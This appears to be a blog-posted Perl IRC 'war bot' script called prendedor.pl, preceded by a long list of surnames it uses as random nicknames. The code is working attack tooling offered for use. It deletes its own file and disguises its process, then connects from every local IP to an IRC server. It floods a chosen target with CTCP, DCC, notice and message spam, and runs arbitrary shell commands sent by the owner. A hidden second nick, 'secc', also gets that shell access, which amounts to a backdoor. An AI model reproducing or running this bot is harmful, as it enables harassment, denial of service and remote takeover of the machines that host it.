“Britz”,”Broca”,”Brook”,”Brzycki”,”Buchan”,”Budding”,”Bullard”,”Bunton”,”Burden”,”Burdzy”,”Burke”,”Burridge”,”Busetta”,”Byatt”,”Byerly”,
“Byrd”,”Cage”,”Calnan”,”Cammelli”,”Cammilleri”,”Canley”,”Capanni”,”Caperton”,”Capocaccia”,”Capodilupo”,”Cappuccio”,”Capursi”,”Caratozzolo”,
“Carayannopoulos”,”Carlin”,”Carlos”,”Carlyle”,”Carmichael”,”Caroti”,”Carper”,”Cartmill”,”Cascio”,”Case”,”Caspar”,”Castelda”,”Cavanagh”,
“Cavell”,”Ceniceros”,”Cerioli”,”Chapman”,”Charles”,”Cheang”,”Cherry”,”Chervinsky”,”Chiassino”,”Chien”,”Childress”,”Childs”,”Chinipardaz”,
“Chinman”,”Christenson”,”Christian”,”Christiano”,”Christie”,”Christopher”,”Chu”,”Chupasko”,”Church”,”Ciampaglia”,”Cicero”,”Cifarelli”,
“Claffey”,”Clancy”,”Clark”,”Clement”,”Clifton”,”Clow”,”Coblenz”,”Coito”,”Coldren”,”Colella”,”Collard”,”Collis”,”Compton”,”Compton”,
“Comstock”,”Concino”,”Condodina”,”Connors”,”Corey”,”Cornish”,”Cosmides”,”Counter”,”Coutaux”,”Crawford”,”Crocker”,”Croshaw”,”Croxen”,
“Croxton”,”Cui”,”Currier”,”Cutler”,”Cvek”,”Cyders”,”daSilva”,”Daldalian”,”Daly”,”D’Ambra”,”Danieli”,”Dante”,”Dapice”,”D’arcangelo”,”Das”,
“Dasgupta”,”Daskalu”,”David”,”Dawkins”,”DeGennaro”,”DeLaPena”,”del’Enclos”,”deRousse”,”Debroff”,”Dees”,”Defeciani”,”Delattre”,”Deleon-Rendon”,
“Delger”,”Dell’acqua”,”Deming”,”Dempster”,”Demusz”,”Denault”,”Denham”,”Denison”,”Desombre”,”Deutsch”,”D’fini”,”Dicks”,”Diefenbach”,”Difabio”,
“Difronzo”,”Dilworth”,”Dionysius”,”Dirksen”,”Dockery”,”Doherty”,”Donahue”,”Donner”,”Doonan”,”Dore”,”Dorf”,”Dosi”,”Doty”,”Doug”,”Dowsland”,
“Drinker”,”D’souza”,”Duffin”,”Durrett”,”Dussault”,”Dwyer”,”Eardley”,”Ebeling”,”Eckel”,”Edley”,”Edner”,”Edward”,”Eickenhorst”,”Eliasson”,
“Elmendorf”,”Elmerick”,”Elvis”,”Encinas”,”Enyeart”,”Eppling”,”Erbach”,”Erdman”,”Erdos”,”Erez”,”Espinoza”,”Estes”,”Etter”,”Euripides”,
“Everett”,”Fabbris”,”Fagan”,”Faioes”,”Falco-Acosta”,”Falorsi”,”Faris”,”Farone”,”Farren”,”Fasso’”,”Fates”,”Feigenbaum”,”Fejzo”,”Feldman”,
“Fernald”,”Fernandes”,”Ferrante”,”Ferriell”,”Feuer”,”Fido”,”Field”,”Fink”,”Finkelstein”,”Finnegan”,”Fiorina”,”Fisk”,”Fitzmaurice”,”Flier”,
“Flores”,”Folks”,”Forester”,”Fortes”,”Fortier”,”Fossey”,”Fossi”,”Francisco”,”Franklin-Kenea”,”Franz”,”Frazier-Davis”,”Freid”,”Freundlich”,
“Fried”,”Friedland”,”Frisken”,”Frowiss”,”Fryberger”,”Frye”,”Fujii-Abe”,”Fuller”,”Furth”,”Fusaro”,”Gabrielli”,”Gaggiotti”,”Galeotti”,”Galwey”,
“Gambini”,”Garfield”,”Garman”,”Garonna”,”Geller”,”Gemberling”,”Georgi”,”Gerrett”,”Ghorai”,”Gibbens”,”Gibson”,”Gilbert”,”Gili”,”Gill”,”Gillispie”,
“Gist”,”Gleason”,”Glegg”,”Glendon”,”Goldfarb”,”Goncalves”,”Good”,”Goodearl”,”Goody”,”Gozzi”,”Gravell”,”Greenberg”,”Greenfeld”,”Griffiths”,
“Grigoletto”,”Grummell”,”Gruner”,”Gruppe”,”Guenthart”,”Gunn”,”Guo”,”Ha”,”Haar”,”Hackman”,”Hackshaw”,”Haley”,”Halkias”,”Hallowell”,”Halpert”,
“Hambarzumjan”,”Hamer”,”Hammerness”,”Hand”,”Hanssen”,”Harding”,”Hargraves”,”Harlow”,”Harrigan”,”Hartman”,”Hartmann”,”Hartnett”,”Harwell”,
“Haviaras”,”Hawkes”,”Hayes”,”Haynes”,”Hazlewood”,”Heermans”,”Heft”,”Heiland”,”Hellman”,”Hellmiss”,”Helprin”,”Hemphill”,”Henery”,”Henrichs”,
“Hernandez”,”Herrera”,”Hester”,”Heubert”,”Heyeck”,”Himmelfarb”,”Hind”,”Hirst”,”Hitchcock”,”Hoang”,”Hock”,”Hoffer”,”Hoffman”,”Hokanson”,”Hokoda”,
“Holmes”,”Holoien”,”Holter”,”Holway”,”Holzman”,”Hooker”,”Hopkins”,”Horsley”,”Hoshida”,”Hostage”,”Hottle”,”Howard”,”Hoy”,”Huey”,”Huidekoper”,
“Hungerford”,”Huntington”,”Hupp”,”Hurtubise”,”Hutchings”,”Hyde”,”Iaquinta”,”Ichikawa”,”Igarashi”,”Inamura”,”Inniss”,”Isaac”,”Isaievych”,”Isbill”,
“Isserman”,”Iyer”,”Jacenko”,”Jackson”,”Jagers”,”Jagger”,”Jagoe”,”Jain”,”Jamil”,”Janjigian”,”Jarnagin”,”Jarrell”,”Jay”,”Jeffers”,”Jellis”,
“Jenkins”,”Jespersen”,”Jewett”,”Johannesson”,”Johannsen”,”Johns”,”Jolly”,”Jorgensen”,”Jucks”,”Juliano”,”Julious”,”Kabbash”,”Kaboolian”,”Kafadar”,
“Kalbfleisch”,”Kaligian”,”Kalil”,”Kalinowski”,”Kalman”,”Kamel”,”Kangis”,”Karpouzes”,”Kassower”,”Kasten”,”Kawachi”,”Kee”,”Keenan”,”Keepper”,
“Keith”,”Kelker”,”Kelsey”,”Kempton”,”Kemsley”,”Kendall”,”Kerry”,”Keul”,”Khong”,”Kimmel”,”Kimmett”,”Kimura”,”Kindall”,”Kinsley”,”Kippenberger”,
“Kirscht”,”Kittridge”,”Kleckner”,”Kleiman”,”Kleinfelder”,”Klemperer”,”Kling”,”Klinkenborg”,”Klint”,”Knuff”,”Kobrick”,”Koch”,”Kohn”,”Koivumaki”,
“Kommer”,”Koniaris”,”Konrad”,”Kool”,”Korzybski”,”Kotter”,”Kovaks”,”Kraemer”,”Krailo”,”Krasney”,”Kraus”,”Kroemer”,”Krysiak”,”Kuenzli”,”Kumar”,
“Kusman”,”Kuwabara”,”La”,”Labunka”,”Lafler”,”Laing”,”Lallemant”,”Landes”,”Lankes”,”Lantieri”,”Lanzit”,”Laserna”,”Lashley”,”Lawless”,”Lecar”,
“Lecce”,”Leclercq”,”Leite”,”Lenard”,”Sofia”,”Lesser”,”Lessi”,”Liakos”,”Lidano”,”Liem”,”Light”,”Lightfoot”,”Lim”,”Linares”,”Linda”,”Linder”,
“Line”,”Linehan”,”Linzee”,”Lippmann”,”Lipponen”,”Little”,”Litvak”,”Livernash”,”Livi”,”Livolsi”,”Lizardo”,”Locatelli”,”Longworth”,”Loss”,”Loveman”,
“Lowenstein”,”Loza”,”Lubin”,”Lucas”,”Luciano”,”Luczkow”,”Luecke”,”Lunetta”,”Luoma”,”Lussier”,”Lutcavage”,”Luzader”,”Ma”,”Maccormac”,”Macdonald”,
“Maceachern”,”Macintyre”,”Mackenney”,”MacMillan”,”Macy”,”Madigan”,”Maggio”,”Mahony”,”Maier”,”Maine-Hershey”,”Maisano”,”Malatesta”,”Maller”,
“Malova”,”Manalis”,”Mandel”,”Manganiello”,”Mantovan”,”March”,”Marchbanks”,”Marcus”,”Margalit”,”Margetts”,”Marques”,”Martinez”,”Martochio”,
“Marton”,”Marubini”,”Mass”,”Matalka”,”Matarazzo”,”Matsukata”,”Mattson”,”Mauzy”,”May”,”Mazzali”,”Mazziotta”,”Mcbride”,”Mccaffery”,”Mccall”,
“Mcclearn”,”Mcdowell”,”Mcelroy”,”McFadden”,”Mcghee”,”Mcgoldrick”,”McIlroy”,”Mcintosh”,”Mcdonald”,”Mclane”,”Mclaren”,”Mcnealy”,”Mcnulty”,
“Meccariello”,”Memisoglu”,”Menzies”,”Merikoski”,”Merlani”,”Merminod”,”Merseth”,”Merz”,”Metelka”,”Metropolis”,”Meurer”,”Michelman”,”Middle”,
“Mieher”,”Mills”,”Minh”,”Mini”,”Minichiello”,”Gonzalez”,”Mitropoulos”,”Mittal”,”Mocroft”,”Modestino”,”Moeller”,”Mohr”,”Moiamedi”,”Monque”,”Montilio”,
“MooreDeCh.”,”Morani”,”Moreton”,”Morrison”,”Morrow”,”Mortimer”,”Mosher”,”Mosler”,”Mostafavi”,”Motooka”,”Mudarri”,”Muello”,”Mugnai”,”Mulkern”,
“Mulroy”,”Mumford”,”Mussachio”,”Naddeo”,”Napolitano”,”Nardi”,”Nardone”,”Naviaux”,”Nayduch”,”Nelson”,”Nenna”,”Nesci”,”Neuman”,”Newfeld”,”Newlin”,
“Ng”,”Ni”,”Nickerson”,”Nickoloff”,”Nisenson”,”Nitabach”,”Notman”,”Nuzum”,”Ocougne”,”Ogata”,”Oh”,”O’hagan”,”Oldford”,”Olsen”,”Olson”,”Olszewski”,
“O’malley”,”Oman”,”O’meara”,”Opel”,”Oray”,”Orfield”,”Orsi”,”Ospina”,”Ostrowski”,”Ottaviani”,”Otten”,”Ouchida”,”Ovid”,”PaesDealmeida”,”Paine”,
“Palayoor”,”Palepu”,”Pallara”,”Palmitesta”,”Panadero”,”Panizzon”,”Pantilla”,”Paoletti”,”Parmeggiani”,”Parris”,”Partridge”,”Pascucci”,”Patefield”,
“Patrick”,”Pattullo”,”Pavetti”,”Pavlon”,”Pawloski”,”Paynter”,”Peabody”,”Pearlberg”,”Pederson”,”Peishel”,”Penny”,”Pereira”,”Perko”,”Perlak”,
“Perlman”,”Perna”,”Perone”,”Perrimon”,”Peters”,”Petruzello”,”Pettibone”,”Pettit”,”Pfister”,”Pilbeam”,”Pinot”,”Plancon”,”Plant”,”Plasket”,”Plous”,
“Po”,”Pocobene”,”Poincaire”,”Pointer”,”Poirier”,”Polak”,”Polanyi”,”Politis”,”Poma”,”Poolman”,”Powers”,”Presper”,”Preucel”,”Prevost”,”Pritchard”,
“Pritz”,”Proietti”,”Prothrow-Stith”,”Puccia”,”Pugh”,”Pynchon”,”Quaday”,”Quetin”,”Rabe”,”Rabkin”,”Radeke”,”Rajagopalan”,”Raney”,”Rangan”,”Rankin”,
“Rapple”,”Rayport”,”Redden-Tyler”,”Reedquist”,”Cunningham”,”Reinold”,”Remak”,”Renick”,”Repetto”,”Resnik”,”Rhea”,”Richmond”,”Rielly”,”Rindos”,
“Rineer”,”Rish”,”Rivera”,”Robinson”,”Rocha”,”Roesler”,”Rogers”,”Ronen”,”Row”,”Royal”,”Ru”,”Ruan”,”Ruderman”,”Ruescher”,”Rush”,”Ryu”,”Sabatello”,
“Sadler”,”Safire”,”Sahu”,”Sali”,”Samson”,”Sanchez-Ramirez”,”Sanna”,”Sapers”,”Sarin”,”Sartore”,”Sase”,”Satin”,”Satta”,”Satterthwaite”,”Sawtell”,
“Sayied”,”Scarponi”,”Scepan”,”Scharf”,”Scharlemann”,”Scheiner”,”Schiano”,”Schifini”,”Schilling”,”Schmitt”,”Schossberger”,”Schuman”,”Schutte”,
“Schuyler”,”Schwan”,”Schwickrath”,”Scovel”,”Scudder”,”Seaton”,”Seeber”,”Segal”,”Sekler”,”Selvage”,”Sen”,”Sennett”,”Seterdahl”,”Sexton”,
“Seyfert”,”Shaikh”,”Shakis”,”Shankland”,”Shanley”,”Shar”,”Shatrov”,”Shavelson”,”Shea”,”Sheats”,”Shepherd”,”Sheppard”,”Shepstone”,”Shesko”,”Shia”,
“Shibata”,”Shimon”,”Siesto”,”Sigalot”,”Sigini”,”Signa”,”Silverman”,”Silvetti”,”Sinsabaugh”,”Sirilli”,”Sites”,”Skane”,”Skerry”,”Skoda”,”Sloan”,
“Slowe”,”Smilow”,”Sniffen”,”Snodgrass”,”Socolow”,”Solon”,”Somers”,”Sommariva”,”Sorabella”,”Sorg”,”Sottak”,”Soukup”,”Soule”,”Soultanian”,”Spanier”,
“Sparrow”,”Spaulding”,”Speizer”,”Spence”,”Sperber”,”Spicer”,”Spiegelhalter”,”Spiliotis”,”Spinrad”,”StMartin”,”Stalvey”,”Stam”,”Stang”,”Stassinopolus”,
“States”,”Statlender”,”Stefani”,”Steiner”,”Stephanian”,”Stepniewska”,”Stewart-Oaten”,”Stiepock”,”Stillwell”,”Stock”,”Stockton”,”Stockwell”,”Stolzenberg”,
“Stonich”,”Storer”,”Stott”,”Strange”,”Strauch”,”Streiff”,”Stringer”,”Sullivan”,”Sumner”,”Suo”,”Surdam”,”Sweeting”,”Sweetser”,”Swindle”,”Tagiuri”,
“Tai”,    “Talaugon”,”Tambiah”,”Tandler”,”Tanowitz”,”Tatar”,”Taveras”,”Tawn”,”Tcherepnin”,”Teague”,”Temes”,”Temmer”,”Tenney”,”Terracini”,”Than”,
“Thavaneswaran”,”Theodos”,”Thibault”,”Thisted”,”Thomsen”,”Throop”,”Tierney”,”Till”,”Timmons”,”Tofallis”,”Tollestrup”,”Tolls”,”Tolman”,”Tomford”,
“Toomer”,”Topulos”,”Torresi”,”Torske”,”Towler”,”Toye”,”Traebert”,”Trenga”,”Trewin”,”Tringali”,”Troiani”,”Troy”,”Truss”,”Tsiatis”,”Tsomides”,”Tsukurov”,
“Tuck”,”Tudge”,”Tukan”,”Turano”,”Turek”,”Tuttle”,”Twells”,”Tzamarias”,”Ullman”,”Untermeyer”,”Upsdell”,”Urban”,”Urdang-Brown”,”Usdan”,”Uzuner”,
“Vacca”,”Waite”,”Valberg”,”Valencia”,”Wales”,”Wallenberg”,”Walter”,”vanAllen”,”VanZwet”,”Vandenberg”,”Vanheeckeren”,”Warshafsky”,”Wasowska”,”Vasquez”,
“Waugh”,”Weighart”,”Weingarten”,”Weinhaus”,”Weissbourd”,”Weissman”,”Velasquez”,”Welles”,”Welsh”,”Wengret”,”Venne”,”Verghese”,”Wescott”,”Wetzel”,
“Whately”,”Whilton”,”White”,”Whitla”,”Whittaker”,”Viana”,”Viano”,”Wiedersheim”,”Wiener”,”Viens”,”Vignola”,”Wilder”,”Wilhelm”,”Wilk”,”Wilkin”,”Wilkinson”,
“Villarreal”,”Willstatter”,”Wilson”,”Vitali”,”Viviani”,”Voigt”,”Wolk”,”VonHoffman”,”Woo”,”Wooden”,”Woods”,”Woods-Powell”,”Vorhaus”,”Votey”,”Yacono”,
“Yamane”,”Yankee”,”Yarchuk”,”Yates”,”Ybarra”,”Yedidia”,”Yesson”,”Yetiv”,”Yoffe”,”Yoo”,”Youk-See”,”Yu”,”Zachary”,”Zahedi”,”Zangwill”,”Zegans”,”Zerbini”,
“Zoldak”,”Zucconi”,”Zurn”,”Zwiers”);

my @realname  =(“3 Powered B9,1y Estrada ”);
my @WHO;
my $qqum=”*”;
$ARGC=@ARGV;
if ($ARGC !=1) {
print “\n+ prendedor.pl v.1.7\n”;
print “+ by Estrada\n”;
print “+ irc.byroe.net \#x-code\n”;
print “+ Usage: perl $0 (target)\n”;
print “+ Edit the source first!\n\n”;
exit(1);
}
$SIG{CHLD} = sub { wait }; # alterando o signal
my $qtip = qx(/sbin/ifconfig |grep inet | wc -l);
my @ips1 =qx(/sbin/ifconfig |grep \”inet addr\:\” \|awk \-F \’ \’ \’\{\print \$2\} \’ \| cut \-c6\-);
my @ips2 =qx(/sbin/ifconfig \-a |grep \”inet end\.\:\” \|awk \-F \’ \’ \’\{\print \$3\} \’);
my @fbsd =qx(/sbin/ifconfig \|grep \”inet\” \|awk \-F \’ \’ \’\{\print \$2\} \’ \| cut \-c1\-);
@ips = (@ips1, @ips2, @fbsd);
open(ipzitcho,”>ips.txt”) || die “- ips.txt not found”;
print ipzitcho” @ips”;
close(ipzitcho);
@ips = grep { s/\n$// } @ips;
$rm=”rm -rf”;
qx($rm $0);
$target = $ARGV[0];
$mescalina = $target;
use MIME::Base64;
$string1 = “ZGFya2x5″;
$string2 = “Y0t6″;
$string3 = “cGFuYQ==”;
$string4 = “RnVzaW9u”;
$string5 = “SXowbg==”;
$string6 = decode_base64($string1);
$string7 = decode_base64($string2);
$string8 = decode_base64($string3);
$string9 = decode_base64($string4);
$string10 = decode_base64($string5);
if ($mescalina eq decode_base64($string1)) { $mescalina = $qqum; } if ($mescalina eq decode_base64($string2)) { $mescalina = $qqum; }if ($mescalina eq
decode_base64($string3)) {
$mescalina = $qqum; } if ($$mescalina eq decode_base64($string4)) { $mescalina = $qqum; } if ($mescalina eq decode_base64($string5)) { $mescalina =
$qqum; }
$0 =  $procname  . “”;
$nick2 = $nick;
print STDOUT “\n+ prendedor.pl v.1.7\n”;
print STDOUT “+ by xcx\n”;
print STDOUT “+ Server : $server\n”;
print STDOUT “+ Port   : $port\n”;
print STDOUT “+ Target : $mescalina\n”;
print STDOUT “+ Owner  : $owner\n”;
print STDOUT “+ Channel: $channel\n”;
print STDOUT “+ N.IPs  : $qtip\n\n”;
use IO::Socket;
foreach my $FROM (@ips) {
my $pid = fork(); # gerando um novo processo
unless ($pid) {   #
my $ident = $nickname[rand scalar @nickname];
my $nick = $nickname[rand scalar @nickname];
my $name = $realname[rand scalar @realname];
$secc = “secc”;
$sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>”tcp”, PeerAddr=> $server, PeerPort=> $port) || exit();
print $sock “NICK “.$nick.”\n”;
print $sock “USER $ident $FROM $server :$name\n”;
while (<$sock>) {
if (/^:.+?\s433\s/) { # nick already in use
$nick2 = $nickname[rand scalar @nickname];
print $sock “NICK “.$nick2.”\n”;
}
if (/^:.+?\s376\s/) { # end of motd
print $sock “JOIN $channel\n”;
}

if(/^PING :( .*)/){ #replying the ping
print $sock “PONG :$1\n”;
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!b (.*)/){
print $sock “$1″;
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!help(.*)/){
print $sock “PRIVMSG “.$owner.” : ================================\n”;
print $sock “PRIVMSG “.$owner.” : + prendedor.pl v1.7\n”;
print $sock “PRIVMSG “.$owner.” : + by Estrada\n”;
print $sock “PRIVMSG “.$owner.” : + #soloteam at irc.byroe.net\n”;
print $sock “PRIVMSG “.$owner.” : ================================\n”;
print $sock “PRIVMSG “.$owner.” :  – Navegacao:\n”;
print $sock “PRIVMSG “.$owner.” : !boy join #chan (para entrar em um canal)\n”;
print $sock “PRIVMSG “.$owner.” : !boy part #chan (para sair de um canal)\n”;
print $sock “PRIVMSG “.$owner.” : !msg nick msg (Envia mensagem)\n”;
print $sock “PRIVMSG “.$owner.” : !quit (duh!)\n”;
print $sock “PRIVMSG “.$owner.” :  – WAR\n”;
print $sock “PRIVMSG “.$owner.” : !target NICK (Especifica novo alvo)\n”;
print $sock “PRIVMSG “.$owner.” : !ctcpflood (Envia flood ctcp)\n”;
print $sock “PRIVMSG “.$owner.” : !dccflood (Envia flood dcc)\n”;
print $sock “PRIVMSG “.$owner.” : !noticeflood (Envia flood de notice)\n”;
print $sock “PRIVMSG “.$owner.” : !msgflood (Envia flood de mensagens)\n”;
print $sock “PRIVMSG “.$owner.” : !hop #chan msg (Entra e sai de um canal deixando msg)\n”;
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!msg(.*)/){
print $sock “PRIVMSG “.$1.” : “.$2.”\n”;
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!x(.*)/){
print $sock “PRIVMSG “.$mescalina.” :1,4SENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOX\n”;
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!who(.*)/){
print $sock “who “.$channel.”\n”;
}
if (/^:.+?\s+352\s+\S+\s+\S+\s+(.+?)$/) {
my $nicks = $1;

  1. $nicks =~ s/\n//;
  2. $nicks =~ s/\r//;

push(@WHO, split(/ /, $nicks));
print STDOUT “$who[1]\n”;
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!dccflood(.*)/){
for (1 .. 10) {
print $sock “PRIVMSG “.$mescalina.” :01DCC CHAT chat 1121485131 102401\n”;
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!whoisflood(.*)/){
for (1 .. 10) {
print $sock “whois “.$mescalina.”\n”;
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!hop (.*)/){
print $sock “JOIN “.$1.” : “.$2.”\n”;
for (1 .. 10) {
print $sock “PART “.$1.” : “.$2.”\n”;
print $sock “JOIN “.$1.” : “.$2.”\n”;
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!ctcpflood(.*)/){
print $sock “PRIVMSG “.$mescalina.” :01VERSION01\n”;
for (1 .. 10) {
print $sock “PRIVMSG “.$mescalina.” :01VERSION01\n”;
print $sock “PRIVMSG “.$mescalina.” :01PING01\n”;
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!msgflood(.*)/){
for (1 .. 10) {
print $sock “PRIVMSG “.$mescalina.” :4,1/!\41,4SENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOX4,1/!\
DEATH\n”;
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!noticeflood(.*)/){
for (1 .. 10) {
print $sock “NOTICE “.$mescalina.” :4,1/!\41,4SENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOXSENOX4,1/!\
DEATH \n”;
}
}

if(/^\:$owner!.*\@.*PRIVMSG.*:!sys(.*)/){
$sys = $1;
@output = qx($sys) || print $sock “PRIVMSG “.$owner.” : Isso eh comando que se apresente\? Ta doido jumento\?!\n”;
print $sock “PRIVMSG “.$owner.” : @output”;
}
if(/^\:$mescalina!.*\@.*QUIT.*(.*)/){
print $sock “NICK “.$mescalina.”\n”;
}
if(/^ERROR :( .*)/){
use IO::Socket;
$sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>”tcp”, PeerAddr=> $server, PeerPort=> $port) || exit();
print $sock “NICK “.$nick.”\n”;
print $sock “USER $ident $FROM $server :$name\n”;
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!quit(.*)/){
die();
}
if(/^\:$secc!.*\@.*PRIVMSG.*:!b(.*)/){
print $sock “$1″;
}
if(/^\:$secc!.*\@.*PRIVMSG.*:!sys(.*)/){
$sys = $1;
$output = qx($sys) || print $sock “PRIVMSG “.$secc.” : Isso eh comando que se apresente\? Ta doido jumento\?!\n”;
print $sock “PRIVMSG “.$secc.” : “.$output.”\n”;
}
if(/^\:.*: Connection timed out(.*)/){
print STDOUT “[~] Connection Timed Out! Retrying!\n”;
use IO::Socket;
$sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>”tcp”, PeerAddr=> $server, PeerPort=> $port) || exit();
print $sock “NICK “.$nick.”\n”;
print $sock “USER $ident $FROM $server :$name\n”;
}
if(/^\:$owner!.*\@.*PRIVMSG.*:!stats(.*)/){
print $sock “PRIVMSG “.$owner.” : [!] Bot Stats\n”;
print $sock “PRIVMSG “.$owner.” : [~] Using server : $server\n”;
print $sock “PRIVMSG “.$owner.” : [!] Using port   : $port\n”;
print $sock “PRIVMSG “.$owner.” : [~] Using nick   : $nick\n”;
print $sock “PRIVMSG “.$owner.” : [!] Using target : $mescalina\n”;
print $sock “PRIVMSG “.$owner.” : [~] Using owner  : $owner\n”;
print $sock “PRIVMSG “.$owner.” : [!] Using ident  : $id\n”;
print $sock “PRIVMSG “.$owner.” :-x -x-x-x-x-x-x-x-x-x-x-x-x-\n\n”;
}
if( /^\:$owner!.*\@.*\s+PRIVMSG.*:!target\s+(.*)/ ){
$mescalina =$1;
$mescalina =~ s/ //;
$mescalina =~ s/\r$//;
$mescalina =~ s/\n$//;
if ($mescalina eq decode_base64($string1)) {
$mescalina = $owner;
}
}
if(/^\:$target!.*\@.*\s+QUIT\s+/){
print $sock “NICK $mescalina\n”;
}
if( /^\:$owner!.*\@.*\s+PRIVMSG.*:!owner\s+(.*)/ ){
$owner =$1;
$owner =~ s/ //;
$owner =~ s/\r$//;
$owner =~ s/\n$//;
}
}
exit;
}
}

Ikuti

Get every new post delivered to your Inbox.